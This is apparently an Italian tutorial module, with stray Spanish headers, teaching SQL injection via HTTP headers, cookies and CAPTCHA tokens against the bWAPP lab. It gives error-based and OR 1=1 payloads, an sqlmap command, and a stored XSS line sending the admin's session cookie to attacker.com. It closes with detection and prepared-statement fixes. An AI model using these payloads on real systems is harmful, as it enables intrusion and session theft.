Ir al contenido

📕 MANUALE DA CAMPO 2.2: VETTORI NON STANDARD & HTTP HEADERS

Obiettivo: Iniezione SQL in parametri nascosti o "di fiducia" (Headers, Cookies, CAPTCHAs).

0letture

Classificazione: RED TEAM EYES ONLY

Obiettivo: SQL Injection in parametri nascosti o "di fiducia" (Header, Cookie, CAPTCHA).

Target bWAPP: SQL Injection (CAPTCHA), SQL Injection - Stored (User-Agent).

MITRE ATT&CK: T1190, T1566 (Log Poisoning).

1. INTEL & RECON: LA FALLACIA DELLA CONFIANZA

Sección titulada «1. INTEL & RECON: LA FALACIA DE LA CONFIANZA»

Gli sviluppatori usano funzioni per registrare chi visita il loro sito. Esempio di codice PHP vulnerabile (Log di audit):

$agent = $_SERVER['HTTP_USER_AGENT']; // El dev confía en esta variable
// ☠️ VULNERABILIDAD: INSERT directo a la base de datos
$sql = "INSERT INTO access_logs (user_agent, ip_address) VALUES ('$agent', '$ip')";
mysqli_query($link, $sql);

Se il nostro User-Agent contiene un apice ', interrompiamo la sintassi del INSERT.

A differenza dei moduli precedenti (SELECT * FROM...), qui solitamente ci troviamo all'interno di un INSERT INTO....

  • Problema: UNION SELECT di solito non funziona direttamente perché non possiamo "unire" i risultati a un'operazione di inserimento dati.
  • Soluzione: Useremo Error-Based SQLi (visto nel Modulo 1.2) o Time-Based (che vedremo nella Fase 3) per estrarre informazioni.

VETTORE A: User-Agent / Referer (Log Poisoning)

Sección titulada «VECTOR A: User-Agent / Referer (Log Poisoning)»

Obiettivo: SQL Injection - Stored (User-Agent) in bWAPP.

  1. Intercetteremo: Cattureremo una qualsiasi richiesta alla pagina vulnerabile con Burp Suite.

  2. Modificheremo: Andremo all'header User-Agent.

  3. Payload di Prova (The Crash):

    User-Agent: Mozilla/5.0'

    Se vediamo un errore MySQL, è vulnerabile.

  4. Payload di Estrazione (Error-Based): Poiché siamo in un INSERT, inietteremo una sottoconsultazione che genera un errore con il dato che vogliamo.

    Mozilla/5.0' AND updatexml(rand(), concat(0x3a, (SELECT version())), null) , '127.0.0.1') -- -

    (Nota: A volte dobbiamo completare gli altri campi dell'INSERT, come l'IP nell'esempio sopra, per mantenere la sintassi valida prima di commentare).

I cookie sono solo header che il browser invia di ritorno.

  1. Intercetteremo: Cercheremo l'header Cookie: language=en;.
  2. Payload: Cookie: language=en' OR 1=1 -- -;Scenario: Se il sito web utilizza il cookie per eseguire una query (SELECT * FROM translations WHERE lang = '$cookie'), vedremo tutte le traduzioni o un errore.

Obiettivo: SQL Injection (CAPTCHA) in bWAPP. A volte, la convalida del CAPTCHA implica consultare una base di dati per vedere se il token è valido.

  1. Riconosceremo: Compileremo il form e il CAPTCHA. Intercetteremo la richiesta.

  2. Analizzeremo: Vedremo un parametro (es. captcha_token o simile).

  3. Iniettizzeremo:

    captcha_token=1' OR 1=1 -- -

    Impatto: Se la query è SELECT * FROM captchas WHERE token = '$input', il nostro payload restituisce TRUE. Il sistema crederà che abbiamo risolto correttamente il CAPTCHA senza averlo fatto!

Per impostazione predefinita, SQLMap NON analizza gli header perché rallenterebbe la scansione. Dovremo ordinargli esplicitamente di alzare il livello.

Comando per gli Header:

sqlmap -u "http://bwapp/sqli_1.php" --cookie="PHPSESSID=..." --level 3 --dbs
  • -level 2: Aggiungeremo test nei Cookie.
  • -level 3: Aggiungeremo test in User-Agent e Referer.
  • -level 5: Proveremo sull'header Host (raro, ma possibile).

Riferimento al “Piano Maestro - Fase 5”

Se iniettiamo nel User-Agent e l'applicazione mostra quei log in un “Pannello di Amministrazione” affinché l'Admin possa vederli:

  1. L'Attacco: Inietteremo codice JavaScript invece di SQL.

    User-Agent: <script>document.location='[http://attacker.com/cookie='+document.cookie](http://attacker.com/cookie='+document.cookie)</script>
  2. Il Risultato: Quando l'Admin entra a vedere 'Chi ha visitato il web oggi', il suo browser eseguirà lo script e ci invierà la sua cookie di sessione. Questo è un Stored XSS tramite SQL Log Injection.

  1. Log di Accesso (Ironico): I log stessi mostreranno l'attacco. Cercheremo stringhe SQL (SELECT, UNION, AND, ') all'interno delle colonne User-Agent o Referer nel nostro SIEM.
  2. Regole WAF: Ci assicureremo che il nostro WAF ispezioni tutte le intestazioni HTTP, non solo l'URL e il Body. Molti WAF “economici” ignorano l'User-Agent per risparmiare CPU.
  1. Non fidiamoci di NIENTE: $_SERVER['HTTP_USER_AGENT'] è pericoloso quanto $_GET['id'].

  2. Prepared Statements: Useremo bind_param per salvare i log.

    $stmt = $conn->prepare("INSERT INTO logs (agent) VALUES (?)");
    $stmt->bind_param("s", $_SERVER['HTTP_USER_AGENT']);
    $stmt->execute();

    Questo salverà la stringa malevola così com'è, senza eseguirla come codice SQL.

Stato: Modulo 2.2 Completato. Fine della Fase 2. Passo Successivo: Fase 3 - Blind SQL Injection (Operando alla cieca).